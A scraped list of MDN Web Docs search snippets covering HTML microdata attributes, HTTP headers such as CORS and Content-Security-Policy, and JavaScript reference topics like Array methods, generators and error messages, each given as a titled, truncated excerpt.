example html <dl itemscope itemtype="http://vocab.example.net/book" itemid="urn:isbn:0-330-34032-8"> <dt>title <dd itemprop="title">the reality dysfunction <dt>author <dd itemprop="author">peter f.
... hamilton <dt>publication date <dd><time itemprop="pubdate" datetime="1996-01-26">26 january 1996</time> </dl> structured data itemscope itemtype: itemid http://vocab.example.net/book: urn:isbn:0-330-34032-8 itemprop title the reality dysfunction itemprop author peter f.
itemref - HTML: Hypertext Markup Language
example html <div itemscope id="amanda" itemref="a b"></div> <p id="a">name: <span itemprop="name">amanda</span> </p> <div id="b" itemprop="band" itemscope itemref="c"></div> <div id="c"> <p>band: <span itemprop="name">jazz band</span> </p> <p>size: <span itemprop="size">12</span> players</p> </div> structured data (in json-ld format) { "@id": "amanda", "name": "amanda", "band": { "@id": "b", "name": "j...
...azz band", "size": 12 } } result specifications specification status comment html microdatathe definition of 'itemref' in that specification.
lang - HTML: Hypertext Markup Language
if the attribute value is the empty string (lang=""), the language is set to unknown; if the language tag is not valid according to bcp47, it is set to invalid.
...so while :lang(es) matches both lang="es-es" and lang="es-419", :lang(xyzzy) would not match lang="xyzzy-zorp!".
title - HTML: Hypertext Markup Language
some caution must be taken, as this means the following renders across two lines: html <p>newlines in <code>title</code> should be taken into account, like <abbr title="this is a multiline title">example</abbr>.</p> result title attribute inheritance if an element has no title attribute, then it inherits it from its parent node, which in turn may inherit it from its parent, and so on.
... html <div title="cooltip"> <p>hovering here will show “cooltip”.</p> <p title="">hovering here will show nothing.</p> </div> result accessibility concerns use of the title attribute is highly problematic for: people using touch-only devices people navigating with keyboards people navigating with assistive technology such as screen readers or magnifiers people experiencing fine motor control impairment people with cognitive concerns this is due to inconsistent browser support, compounded by the additional assistive technology parsing of the browser-rendered page.
Microdata - HTML: Hypertext Markup Language
example html <div itemscope itemtype="http://schema.org/softwareapplication"> <span itemprop="name">angry birds</span> - requires <span itemprop="operatingsystem">android</span><br> <link itemprop="applicationcategory" href="http://schema.org/gameapplication"/> <div itemprop="aggregaterating" itemscope itemtype="http://schema.org/aggregaterating"> rating: <span itemprop="ratingvalue">4.6</span> ( <span itemprop="...
...ratingcount">8864</span> ratings ) </div> <div itemprop="offers" itemscope itemtype="http://schema.org/offer"> price: $<span itemprop="price">1.00</span> <meta itemprop="pricecurrency" content="usd" /> </div> </div> structured data itemscope itemtype softwareapplication (http://schema.org/softwareapplication) itemprop name angry birds itemprop operatingsystem android itemprop applicationcategory gameapplication (http://schema.org/gameapplication) itemscope itemprop[itemtype] aggregaterating [aggregaterating] itemprop ratingvalue 4.6 itemprop ratingcount 8864 itemscope itemprop[itemtype] offers [offer] itemprop price 1.00 itempr...
Choosing between www and non-www URLs - HTTP
using <link rel="canonical"> it is possible to add a special html <link> element to a page to indicate what the canonical address of a page is.
...in the previous example, http://www.example.org/whaddup would serve the same content as http://example.org/whaddup, but with an additional <link> element in the head: <link href="http://example.org/whaddup" rel="canonical"> unlike the previous case, browser history will consider non-www and www urls as independent entries.
Evolution of HTTP - HTTP
at this point, a typical request and response looked like this: get /mypage.html http/1.0 user-agent: ncsa_mosaic/2.0 (windows 3.1) 200 ok date: tue, 15 nov 1994 08:12:31 gmt server: cern/3.0 libwww/2.17 content-type: text/html <html> a page with an image <img src="/myimage.gif"> </html> followed by a second connection and request to fetch the image (followed by a response to that request): get /myimage.gif http/1.0 user-agent: ncsa_mosaic/2.0 (windows 3.1) 200 ok date: tue, 15 nov 1994 08:12:32 gmt server: cern/3.0 libwww/2.17 content-type: text/gif (image content) these novelties have not been introduced as concerted effort, but as a try-and-see appro...
... intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 accept-language: en-us,en;q=0.5 accept-encoding: gzip, deflate, br referer: https://developer.mozilla.org/docs/glossary/simple_header 200 ok connection: keep-alive content-encoding: gzip content-type: text/html; charset=utf-8 date: wed, 20 jul 2016 10:55:30 gmt etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a" keep-alive: timeout=5, max=1000 last-modified: tue, 19 jul 2016 00:59:33 gmt server: apache transfer-encoding: chunked vary: cookie, accept-encoding (content) get /static/img/header-background.png http/1.1 host: developer.cdn.mozilla.net user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 accept: */* accept-lang...
Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’ - HTTP
the cors request was attempted with the credentials flag set, but the server is configured using the wildcard ("*") as the value of access-control-allow-origin, which doesn't allow the use of credentials.
... if using the fetch api, make sure request.credentials is "omit".
CORS errors - HTTP
WebHTTPCORSErrors
if the cors configuration isn't setup correctly, the browser console will present an error like "cross-origin request blocked: the same origin policy disallows reading the remote resource at $somesite" indicating that the request was blocked due to violating the cors security rules.
...part of the error text is a "reason" message that provides added insight into what went wrong.
Access-Control-Allow-Headers - HTTP
* (wildcard) the value "*" only counts as a special wildcard value for requests without credentials (requests without http cookies or http authentication information).
... in requests with credentials, it is treated as the literal header name "*" without special semantics.
Access-Control-Allow-Methods - HTTP
* (wildcard) the value "*" only counts as a special wildcard value for requests without credentials (requests without http cookies or http authentication information).
... in requests with credentials, it is treated as the literal method name "*" without special semantics.
Access-Control-Expose-Headers - HTTP
* (wildcard) the value "*" only counts as a special wildcard value for requests without credentials (requests without http cookies or http authentication information).
... in requests with credentials, it is treated as the literal header name "*" without special semantics.
Alt-Svc - HTTP
WebHTTPHeadersAlt-Svc
syntax alt-svc: clear alt-svc: <protocol-id>=<alt-authority>; ma=<max-age> alt-svc: <protocol-id>=<alt-authority>; ma=<max-age>; persist=1 clear the special value ''clear" indicates that the origin requests all alternatives for that origin to be invalidated.
... example alt-svc: h2=":443"; ma=2592000; alt-svc: h2=":443"; ma=2592000; persist=1 alt-svc: h2="alt.example.com:443", h2=":443" alt-svc: h3-25=":443"; ma=3600, h2=":443"; ma=3600 specifications specification status comment rfc 7838 ietf rfc initial definition.
Authorization - HTTP
a common type is "basic".
... other types: iana registry of authentication schemes authentification for aws servers (aws4-hmac-sha256) <credentials> if the "basic" authentication scheme is used, the credentials are constructed like this: the username and the password are combined with a colon (aladdin:opensesame).
Cache-Control - HTTP
see "keeping things fresh with stale-while-revalidate" for more information.
... only-if-cached set by the client to indicate "do not use the network" for the response.
CSP: base-uri - HTTP
examples meta tag configuration <meta http-equiv="content-security-policy" content="base-uri 'self'"> apache configuration <ifmodule mod_headers.c> header set content-security-policy "base-uri 'self'"; </ifmodule> nginx configuration add_header content-security-policy "base-uri 'self';" violation case since your domain isn't example.com, a <base> element with its href set to https://example.com will result in a csp violation.
... <meta http-equiv="content-security-policy" content="base-uri 'self'"> <base href="https://example.com/"> // error: refused to set the document's base uri to 'https://example.com/' // because it violates the following content security policy // directive: "base-uri 'self'" specifications specification status comment content security policy level 3the definition of 'base-uri' in that specification.
CSP: form-action - HTTP
examples meta tag configuration <meta http-equiv="content-security-policy" content="form-action 'none'"> apache configuration <ifmodule mod_headers.c> header set content-security-policy "form-action 'none'; </ifmodule> nginx configuration add_header content-security-policy "form-action 'none';" violation case using a <form> element with an action set to inline javascript will result in a csp violation.
... <meta http-equiv="content-security-policy" content="form-action 'none'"> <form action="javascript:alert('foo')" id="form1" method="post"> <input type="text" name="fieldname" value="fieldvalue"> <input type="submit" id="submit" value="submit"> </form> // error: refused to send form data because it violates the following // content security policy directive: "form-action 'none'".
CSP: navigate-to - HTTP
examples meta tag configuration <meta http-equiv="content-security-policy" content="navigate-to 'none'"> violation case using a <form> element with an action set to inline javascript will result in a csp violation.
... <meta http-equiv="content-security-policy" content="navigate-to 'none'"> <form action="javascript:alert('foo')" id="form1" method="post"> <input type="text" name="fieldname" value="fieldvalue"> <input type="submit" id="submit" value="submit"> </form> specifications specification status comment content security policy level 3the definition of 'navigate-to' in that specification.
CSP: report-to - HTTP
report-to: { "group": "csp-endpoint", "max_age": 10886400, "endpoints": [ { "url": "https://example.com/csp-reports" } ] }, { "group": "hpkp-endpoint", "max_age": 10886400, "endpoints": [ { "url": "https://example.com/hpkp-reports" } ] } content-security-policy: ...; report-to csp-endpoint re...
...port-to: { "group": "endpoint-1", "max_age": 10886400, "endpoints": [ { "url": "https://example.com/reports" }, { "url": "https://backup.com/reports" } ] } content-security-policy: ...; report-to endpoint-1 ...
Content-Security-Policy - HTTP
style-src-elem specifies valid sources for stylesheets <style> elements and <link> elements with rel="stylesheet".
...t-src 'self' http://example.com; connect-src 'none'; content-security-policy: connect-src http://example.com/; script-src http://example.com/ examples example: disable unsafe inline/eval, only allow loading of resources (images, fonts, scripts, etc.) over https: // header content-security-policy: default-src https: // meta tag <meta http-equiv="content-security-policy" content="default-src https:"> example: pre-existing site that uses too much inline code to fix but wants to ensure resources are loaded only over https and to disable plugins: content-security-policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none' example: do not implement the above policy yet; instead just report violations that would have occurre...
Cookie2 - HTTP
WebHTTPHeadersCookie2
the obsolete cookie2 http request header used to advise the server that the user agent understands "new-style" cookies, but nowadays user agents will use the cookie header instead, not this one.
... header type request header forbidden header name yes examples cookie2: $version="1" specifications specification title rfc 2965: cookie2 historic specification of http state management mechanism, obsoleted by rfc 6265 ...
Digest - HTTP
WebHTTPHeadersDigest
examples digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe= digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe=,unixsum=30637 specifications specification title draft-ietf-httpbis-digest-headers-latest resource digests for http this header was originally defined in rfc 3230, but the definition of "selected representation" in rfc 7231 made the original definition inconsistent with current http specifications.
... when released, the "resource digests for http" draft therefore will obsolete rfc 3230 and will update the standard to be consistent.
Link - HTTP
WebHTTPHeadersLink
syntax link: < uri-reference >; param1=value1; param2="value2" <uri-reference> the uri reference, must be enclosed between < and >.
... examples the uri (absolute or relative) must be enclosed between < and >: link: <https://example.com>; rel="preconnect" link: https://bad.example; rel="preconnect" specifying multiple links you can specify multiple links separated by commas, for example: link: <https://one.example.com>; rel="preconnect", <https://two.example.com>; rel="preconnect", <https://three.example.com>; rel="preconnect" specifications specification status comments rfc 8288, section 3: link serialisation in http headers ietf rfc rfc 5988, section 5: the link header field ietf rfc initial definition ...
Origin - HTTP
WebHTTPHeadersOrigin
header type request header forbidden header name yes syntax origin: null origin: <scheme> "://" <hostname> [ ":" <port> ] directives <scheme> the protocol that is used.
...if no port is given, the default port for the service requested (e.g., "80" for an http url) is implied.
Proxy-Authenticate - HTTP
a common type is "basic".
... examples proxy-authenticate: basic proxy-authenticate: basic realm="access to the internal site" specifications specification title rfc 7235, section 4.3: proxy-authenticate http/1.1: authentication rfc 7617 the 'basic' http authentication scheme ...
Referrer-Policy - HTTP
header type response header forbidden header name no syntax the original header name referer is a misspelling of the word "referrer".
...for example, you can set the referrer policy for the entire document with a <meta> element with a name of referrer: <meta name="referrer" content="origin"> or set it for individual requests with the referrerpolicy attribute on <a>, <area>, <img>, <iframe>, <script>, or <link> elements: <a href="http://example.com" referrerpolicy="origin"> alternatively, a noreferrer link relation on an a, area, or link element can be set: <a href="http://example.com" rel="noreferrer"> integration with css css can fetch resources refe...
SameSite cookies - HTTP
set-cookie: flavor=choco; samesite=lax example: rewriteengine on rewritebase "/" rewritecond "%{http_host}" "^example\.org$" [nc] rewriterule "^(.*)" "https://www.example.org/index.html" [r=301,l,qsa] rewriterule "^(.*)\.ht$" "index.php?nav=$1 [nc,l,qsa,co=rewriterule;01;https://www.example.org;30/;samesite=none;secure] rewriterule "^(.*)\.htm$" "index.php?nav=$1 [nc,l,qsa,co=rewriterule;02;https://www.example.org;30/;samesite=none;secure] ...
...rewriterule "^(.*)\.html$" "index.php?nav=$1 [nc,l,qsa,co=rewriterule;03;https://www.example.org;30/;samesite=none;secure] [...] rewriterule "^admin/(.*)\.html$" "admin/index.php?nav=$1 [nc,l,qsa,co=rewriterule;09;https://www.example.org:30/;samesite=strict;secure] specifications specification title rfc 6265, section 4.1: set-cookie http state management mechanism draft-ietf-httpbis-rfc6265bis-05 cookie prefixes, same-site cookies, and strict secure cookies ...
TE - HTTP
WebHTTPHeadersTE
note that chunked is always acceptable for http/1.1 recipients and you don't have to specify "chunked" using the te header.
... however, it is useful for setting if the client is accepting trailer fields in a chunked transfer coding using the "trailers" value.
Upgrade - HTTP
WebHTTPHeadersUpgrade
for example, the client might send a get request as shown, listing the preferred protocols to switch to (in this case "example/1" and "foo/2"): get /index.html http/1.1 host: www.example.com connection: upgrade upgrade: example/1, foo/2 note: connection: upgrade must be set whenever upgrade is sent.
...for example: connection: upgrade upgrade: a_protocol/1, example ,another_protocol/2.2 directives any comma-separated list protocol names (each with optional protocol version) one or more protocol names with optional version ("/" separated).
Want-Digest - HTTP
want-digest header, listing the algorithms that it does support: request: get /item want-digest: sha;q=1 response: http/1.1 400 bad request want-digest: sha-256, sha-512 specifications specification title draft-ietf-httpbis-digest-headers-latest resource digests for http this header was originally defined in rfc 3230, but the definition of "selected representation" in rfc 7231 made the original definition inconsistent with current http specifications.
... when released, the "resource digests for http" draft therefore will obsolete rfc 3230 and will update the standard to be consistent.
Warning - HTTP
WebHTTPHeadersWarning
<warn-agent> the name or pseudonym of the server or software adding the warning header (might be "-" when the agent is unknown).
... 299 miscellaneous persistent warning same as 199, but indicating a persistent warning examples warning: 110 anderson/1.3.37 "response is stale" date: wed, 21 oct 2015 07:28:00 gmt warning: 112 - "cache down" "wed, 21 oct 2015 07:28:00 gmt" specifications specification title rfc 7234, section 5.5: warning hypertext transfer protocol (http/1.1): caching ...
X-Content-Type-Options - HTTP
note: x-content-type-options only apply request-blocking due to nosniff for request destinations of "script" and "style".
... header type response header forbidden header name no syntax x-content-type-options: nosniff directives nosniff blocks a request if the request destination is of type: "style" and the mime type is not text/css, or "script" and the mime type is not a javascript mime type enables cross-origin read blocking (corb) protection for the mime-types: text/html text/plain text/json, application/json or any other type with a json extension: */*+json text/xml, application/xml or any other type with an xml extension: */*+xml (excluding image/svg+xml) specifications specification status co...
HTTP headers - HTTP
WebHTTPHeaders
x-download-options the x-download-options http header indicates that the browser (internet explorer) should not display the option to "open" a file that has been downloaded from an application, to prevent phishing attacks as the file otherwise would gain access to execute in the context of the application.
...the header is effectively equivalent to <meta name="robots" content="...">.
POST - HTTP
WebHTTPMethodsPOST
non-alphanumeric characters in both keys and values are percent encoded: this is the reason why this type is not suitable to use with binary data (use multipart/form-data instead) multipart/form-data: each value is sent as a block of data ("body part"), with a user agent-defined delimiter ("boundary") separating each part.
... forms yes syntax post /test example a simple form using the default application/x-www-form-urlencoded content type: post /test http/1.1 host: foo.example content-type: application/x-www-form-urlencoded content-length: 27 field1=value1&field2=value2 a form using the multipart/form-data content type: post /test http/1.1 host: foo.example content-type: multipart/form-data;boundary="boundary" --boundary content-disposition: form-data; name="field1" value1 --boundary content-disposition: form-data; name="field2"; filename="example.txt" value2 --boundary-- specifications specification title rfc 7231, section 4.3.3: post hypertext transfer protocol (http/1.1): semantics and content rfc 2046, section 5.1.1: common syntax multipurpose ...
Proxy servers and tunneling - HTTP
forward proxies a forward proxy, or gateway, or just "proxy" provides proxy services to a client or a group of clients.
...the example below will work in an environment where the internal dns server is set up so that it can only resolve internal host names, and the goal is to use a proxy only for hosts that aren't resolvable: function findproxyforurl(url, host) { if (isresolvable(host)) return "direct"; else return "proxy proxy.mydomain.com:8080"; } see proxy auto-configuration (pac) for more examples.
Redirections in HTTP - HTTP
<head> <meta http-equiv="refresh" content="0; url=https://example.com/"> </head> the content attribute should start with a number indicating how many seconds the browser should wait before redirecting to the given url.
... javascript redirections redirections in javascript are performed by setting a url string to the window.location property, loading the new page: window.location = "https://example.com/"; like html redirections, this can't work on all resources, and obviously, this will only work on clients that execute javascript.
About JavaScript - JavaScript
contrary to popular misconception, javascript is not "interpreted java".
... the chakra engine used in internet explorer (although the language it implements is formally called "jscript" in order to avoid trademark issues).
Iterators and generators - JavaScript
index += step; iterationcount++; return result; } return { value: iterationcount, done: true } } }; return rangeiterator; } using the iterator then looks like this: const it = makerangeiterator(1, 10, 2); let result = it.next(); while (!result.done) { console.log(result.value); // 1 3 5 7 9 result = it.next(); } console.log("iterated over sequence of size: ", result.value); // [5 numbers returned, that took interval in between: 0 to 10] note: it is not possible to know reflectively whether a particular object is an iterator.
... for (let value of ['a', 'b', 'c']) { console.log(value); } // "a" // "b" // "c" [...'abc']; // ["a", "b", "c"] function* gen() { yield* ['a', 'b', 'c']; } gen().next(); // { value: "a", done: false } [a, b, c] = new set(['a', 'b', 'c']); a; // "a" advanced generators generators compute their yielded values on demand, which allows them to efficiently represent sequences that are expensive to compute (or even infinite sequences, as demonstrated above)...
JavaScript technologies overview - JavaScript
however, the umbrella term "javascript" as understood in a web browser context contains several very different elements.
... from the ecmascript point of view, objects defined in the dom specification are called "host objects".
Deprecated and obsolete features - JavaScript
string.prototype.substr probably won't be removed anytime soon, but it's defined in annex b of the ecma-262 standard, whose introduction states: "… programmers should not use or assume the existence of these features and behaviours when writing new ecmascript code.
... …" obsolete features these obsolete features have been entirely removed from javascript and can no longer be used as of the indicated version of javascript.
RangeError: radix must be an integer - JavaScript
the javascript exception "radix must be an integer at least 2 and no greater than 36" occurs when the optional radix parameter of the number.prototype.tostring() or the bigint.prototype.tostring() method was specified and is not between 2 and 36.
... examples invalid cases (42).tostring(0); (42).tostring(1); (42).tostring(37); (42).tostring(150); // you cannot use a string like this for formatting: (12071989).tostring('mm-dd-yyyy'); valid cases (42).tostring(2); // "101010" (binary) (13).tostring(8); // "15" (octal) (0x42).tostring(10); // "66" (decimal) (100000).tostring(16) // "186a0" (hexadecimal) ...
TypeError: cyclic object value - JavaScript
the javascript exception "cyclic object value" occurs when object references were found in json.
... the snippet below illustrates how to find and filter (thus causing data loss) a cyclic reference by using the replacer parameter of json.stringify(): const getcircularreplacer = () => { const seen = new weakset(); return (key, value) => { if (typeof value === "object" && value !== null) { if (seen.has(value)) { return; } seen.add(value); } return value; }; }; json.stringify(circularreference, getcircularreplacer()); // {"otherdata":123} ...
TypeError: can't access dead object - JavaScript
the javascript exception "can't access dead object" occurs when firefox disallows add-ons to keep strong references to dom objects after their parent document has been destroyed to improve in memory usage and to prevent memory leaks.
... try { string(window); } catch (e) { console.log("window is likely dead"); } ...
SyntaxError: applying the 'delete' operator to an unqualified name is deprecated - JavaScript
the javascript strict mode-only exception "applying the 'delete' operator to an unqualified name is deprecated" occurs when variables are attempted to be deleted using the delete operator.
...object properties are "qualified" if they are configurable.
ReferenceError: deprecated caller or arguments usage - JavaScript
the javascript strict mode-only exception "deprecated caller or arguments usage" occurs when the deprecated function.caller or function.arguments properties are used.
... 'use strict'; function myfunc() { if (myfunc.caller == null) { return 'the function was called from the top!'; } else { return 'this function\'s caller was ' + myfunc.caller; } } myfunc(); // warning: referenceerror: deprecated caller usage // "the function was called from the top!" function.arguments function.arguments is deprecated (see the reference article for more information).
SyntaxError: missing ; before statement - JavaScript
the javascript exception "missing ; before statement" occurs when there is a semicolon (;) missing somewhere and can't be added by automatic semicolon insertion (asi).
...for example: var foo = 'tom's bar'; // syntaxerror: missing ; before statement you can use double quotes, or escape the apostrophe: var foo = "tom's bar"; var foo = 'tom\'s bar'; declaring properties with var you cannot declare properties of an object or array with a var declaration.
RangeError: argument is not a valid code point - JavaScript
the javascript exception "invalid code point" occurs when nan values, negative integers (-1), non-integers (5.4), or values larger than 0x10ffff (1114111) are used with string.fromcodepoint().
... examples invalid cases string.fromcodepoint('_'); // rangeerror string.fromcodepoint(infinity); // rangeerror string.fromcodepoint(-1); // rangeerror string.fromcodepoint(3.14); // rangeerror string.fromcodepoint(3e-2); // rangeerror string.fromcodepoint(nan); // rangeerror valid cases string.fromcodepoint(42); // "*" string.fromcodepoint(65, 90); // "az" string.fromcodepoint(0x404); // "\u0404" string.fromcodepoint(0x2f804); // "\ud87e\udc04" string.fromcodepoint(194564); // "\ud87e\udc04" string.fromcodepoint(0x1d306, 0x61, 0x1d307) // "\ud834\udf06a\ud834\udf07" ...
TypeError: invalid arguments - JavaScript
the javascript exception "invalid arguments" occurs when typed array constructors are provided with a wrong argument.
... var ta = new uint8array("nope"); // typeerror: invalid arguments different ways to create a valid uint8array: // from a length var uint8 = new uint8array(2); uint8[0] = 42; console.log(uint8[0]); // 42 console.log(uint8.length); // 2 console.log(uint8.bytes_per_element); // 1 // from an array var arr = new uint8array([21,31]); console.log(arr[1]); // 31 // from another typedarray var x = new uint8array([21, 31]); var...
SyntaxError: Unexpected token - JavaScript
the javascript exceptions "unexpected token" occur when a specific language construct was expected, but something else was provided.
... message syntaxerror: expected expression, got "x" syntaxerror: expected property name, got "x" syntaxerror: expected target, got "x" syntaxerror: expected rest argument name, got "x" syntaxerror: expected closing parenthesis, got "x" syntaxerror: expected '=>' after argument list, got "x" error type syntaxerror what went wrong?
Default parameters - JavaScript
numberoftimescalled += 1 return numberoftimescalled } callsomething() // 1 callsomething() // 2 earlier parameters are available to later default parameters parameters defined earlier (to the left) are available to later default parameters: function greet(name, greeting, message = greeting + ' ' + name) { return [name, greeting, message] } greet('david', 'hi') // ["david", "hi", "hi david"] greet('david', 'hi', 'happy birthday!') // ["david", "hi", "happy birthday!"] this functionality can be approximated like this, which demonstrates how many edge cases are handled: function go() { return ':p' } function withdefaults(a, b = 5, c = b, d = go(), e = this, f = arguments, g = this.value) { return [a, b, c, d, e, f, g] } function ...
...withoutdefaults(a, b, c, d, e, f, g) { switch (arguments.length) { case 0: a; case 1: b = 5; case 2: c = b; case 3: d = go(); case 4: e = this; case 5: f = arguments; case 6: g = this.value; default: } return [a, b, c, d, e, f, g]; } withdefaults.call({value: '=^_^='}); // [undefined, 5, 5, ":p", {value:"=^_^="}, arguments, "=^_^="] withoutdefaults.call({value: '=^_^='}); // [undefined, 5, 5, ":p", {value:"=^_^="}, arguments, "=^_^="] scope effects if default parameters are defined for one or more parameter, then a second scope (environment record) is created, specifically for the identifiers within the parameter list.
Array.prototype[@@unscopables] - JavaScript
that means that inside with environments, "keys" would now be the method and not the variable.
... var keys = []; with (array.prototype) { keys.push('something'); } object.keys(array.prototype[symbol.unscopables]); // ["copywithin", "entries", "fill", "find", "findindex", // "includes", "keys", "values"] specifications specification ecmascript (ecma-262)the definition of 'array.prototype[@@unscopables]' in that specification.
Array() constructor - JavaScript
examples array literal notation arrays can be created using the literal notation: let fruits = ['apple', 'banana']; console.log(fruits.length); // 2 console.log(fruits[0]); // "apple" array constructor with a single parameter arrays can be created using a constructor with a single number parameter.
... let fruits = new array('apple', 'banana'); console.log(fruits.length); // 2 console.log(fruits[0]); // "apple" specifications specification ecmascript (ecma-262)the definition of 'array constructor' in that specification.
Array.prototype.reduce() - JavaScript
get(o, "length")).
... } acc[key].push(obj) return acc }, {}) } let groupedpeople = groupby(people, 'age') // groupedpeople is: // { // 20: [ // { name: 'max', age: 20 }, // { name: 'jane', age: 20 } // ], // 21: [{ name: 'alice', age: 21 }] // } bonding arrays contained in an array of objects using the spread operator and initialvalue // friends - an array of objects // where object field "books" is a list of favorite books let friends = [{ name: 'anna', books: ['bible', 'harry potter'], age: 21 }, { name: 'bob', books: ['war and peace', 'romeo and juliet'], age: 26 }, { name: 'alice', books: ['the lord of the rings', 'the shining'], age: 18 }] // allbooks - list which will contain all friends' books + // additional list contained in initialvalue let allbooks = fr...
Array.prototype.every() - JavaScript
every acts like the "for all" quantifier in mathematics.
...let lenvalue be the result of calling the get internal method // of o with the argument "length".
Array.prototype.filter() - JavaScript
// modifying each words let words = ['spray', 'limit', 'exuberant', 'destruction','elite', 'present'] const modifiedwords = words.filter( (word, index, arr) => { arr[index+1] +=' extra' return word.length < 6 }) console.log(modifiedwords) // notice there are three words below length 6, but since they've been modified one is returned // ["spray"] // appending new words words = ['spray', 'limit', 'exuberant', 'destruction','elite', 'present'] const appendedwords = words.filter( (word, index, arr) => { arr.push('new') return word.length < 6 }) console.log(appendedwords) // only three fits the condition even though the `words` itself now has a lot more words with character length less than 6 // ["spray" ,"limit" ,"elite"] // de...
...leting words words = ['spray', 'limit', 'exuberant', 'destruction', 'elite', 'present'] const deletewords = words.filter( (word, index, arr) => { arr.pop() return word.length < 6 }) console.log(deletewords) // notice 'elite' is not even obtained as its been popped off `words` before filter can even get there // ["spray" ,"limit"] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.filter' in that specification.
Array.prototype.find() - JavaScript
if (this == null) { throw typeerror('"this" is null or not defined'); } var o = object(this); // 2.
...get(o, "length")).
Array.prototype.join() - JavaScript
if omitted, the array elements are separated with a comma (",").
... function f(a, b, c) { var s = array.prototype.join.call(arguments); console.log(s); // '1,a,true' } f(1, 'a', true); //expected output: "1,a,true" specifications specification ecmascript (ecma-262)the definition of 'array.prototype.join' in that specification.
Array.prototype.sort() - JavaScript
for example, "banana" comes before "cherry".
... in a numeric sort, 9 comes before 80, but because numbers are converted to strings, "80" comes before "9" in the unicode order.
Atomics.wait() - JavaScript
it returns a string which is either "ok", "not-equal", or "timed-out".
... return value a string which is either "ok", "not-equal", or "timed-out".
Atomics - JavaScript
wait and notify the wait() and notify() methods are modeled on linux futexes ("fast user-space mutex") and provide ways for waiting until a certain condition becomes true and are typically used as blocking constructs.
...returns either "ok", "not-equal", or "timed-out".
Boolean.prototype.toString() - JavaScript
for boolean objects and values, the built-in tostring() method returns the string "true" or "false" depending on the value of the boolean object.
... examples using tostring() in the following code, flag.tostring() returns "true": var flag = new boolean(true); var myvar = flag.tostring(); specifications specification ecmascript (ecma-262)the definition of 'boolean.prototype.tostring' in that specification.
Boolean - JavaScript
if the value is omitted or is 0, -0, null, false, nan, undefined, or the empty string (""), the object has an initial value of false.
... all other values, including any object, an empty array ([]), or the string "false", create an object with an initial value of true.
Error.prototype.fileName - JavaScript
if called from a debugger context, the firefox developer tools for example, "debugger eval code" is returned.
... examples using filename var e = new error('could not parse input'); throw e; // e.filename could look like "file:///c:/example.html" specifications not part of any standard.
Error.prototype.name - JavaScript
the initial value is "error".
... description by default, error instances are given the name "error".
Error - JavaScript
"too much recursion".
... see "what's a good way to extend error in javascript?" on stackoverflow for an in-depth discussion.
FinalizationRegistry.prototype.unregister() - JavaScript
examples using unregister this example shows registering a target object using that same object as the unregister token, then later unregistering it via unregister: class thingy { #cleanup = label => { // ^^^^^−−−−− held value console.error( `the \`release\` method was never called for the object with the label "${label}"` ); }; #registry = new finalizationregistry(this.#cleanup); /** * constructs a `thingy` instance.
... */ release() { this.#registry.unregister(this); // ^^^^−−−−− unregister token } } this example shows registering a target object using a different object as its unregister token: { // ^^^^−−−−− held value console.error( `the \`release\` method was never called for the \`thingy\` for the file "${file.name}"` ); }; #registry = new finalizationregistry(this.#cleanup); /** * constructs a `thingy` instance for the given file.
Function() constructor - JavaScript
for example: "x", "thevalue"—or "x,thevalue".
... // example can be run directly in your javascript console // create a function that takes two arguments, and returns the sum of those arguments const adder = new function('a', 'b', 'return a + b'); // call the function adder(2, 6); // 8 the arguments "a" and "b" are formal argument names that are used in the function body, "return a + b".
Function.displayName - JavaScript
by entering the following in a console, it should display as something like "function my function()": var a = function() {}; a.displayname = 'my function'; a; // "function my function()" when defined, the displayname property returns the display name of a function: function dosomething() {} console.log(dosomething.displayname); // "undefined" var popup = function(content) { console.log(content); }; popup.displayname = 'show popup'; console.log(popup.displayname); // "show popup" defining a displayname in function expressions you can define a function with a disp...
...lay name in a function expression: var object = { somemethod: function() {} }; object.somemethod.displayname = 'somemethod'; console.log(object.somemethod.displayname); // logs "somemethod" try { somemethod } catch(e) { console.log(e); } // referenceerror: somemethod is not defined changing displayname dynamically you can dynamically change the displayname of a function: var object = { // anonymous somemethod: function(value) { arguments.callee.displayname = 'somemethod (' + value + ')'; } }; console.log(object.somemethod.displayname); // "undefined" object.somemethod('123') console.log(object.somemethod.displayname); // "somemethod (123)" specifications not part of any standard.
Generator.prototype.next() - JavaScript
examples using next() the following example shows a simple generator and the object that the next method returns: function* gen() { yield 1; yield 2; yield 3; } const g = gen(); // "generator { }" g.next(); // "object { value: 1, done: false }" g.next(); // "object { value: 2, done: false }" g.next(); // "object { value: 3, done: false }" g.next(); // "object { value: undefined, done: true }" using next() with a list function* getpage(pagesize = 1, list) { let output = []; let index = 0; while (index < list.length) { output = []; for (let...
... function* gen() { while (true) { let value = yield null; console.log(value); } } const g = gen(); g.next(1); // "{ value: null, done: false }" g.next(2); // 2 // "{ value: null, done: false }" specifications specification ecmascript (ecma-262)the definition of 'generator.prototype.next' in that specification.
Generator - JavaScript
instead, a generator instance can be returned from a generator function: function* generator() { yield 1; yield 2; yield 3; } const gen = generator(); // "generator { }" instance methods generator.prototype.next() returns a value yielded by the yield expression.
... examples an infinite iterator function* infinite() { let index = 0; while (true) { yield index++; } } const generator = infinite(); // "generator { }" console.log(generator.next().value); // 0 console.log(generator.next().value); // 1 console.log(generator.next().value); // 2 // ...
InternalError() constructor - JavaScript
for example: "internalerror: too much recursion".
...the line number of the code that caused the exception examples creating a new internalerror new internalerror("engine failure"); specifications not part of any standard.
InternalError - JavaScript
example cases are mostly when something is too large, e.g.: "too many switch cases", "too many parentheses in regular expression", "array initializer too large", "too much recursion".
... function loop(x) { if (x >= 10) // "x >= 10" is the exit condition return; // do stuff loop(x + 1); // the recursive call } loop(0); setting this condition to an extremely high value, won't work: function loop(x) { if (x >= 1000000000000) return; // do stuff loop(x + 1); } loop(0); // internalerror: too much recursion for more information, see internalerror: too much recursion.
Intl.Collator.prototype.compare() - JavaScript
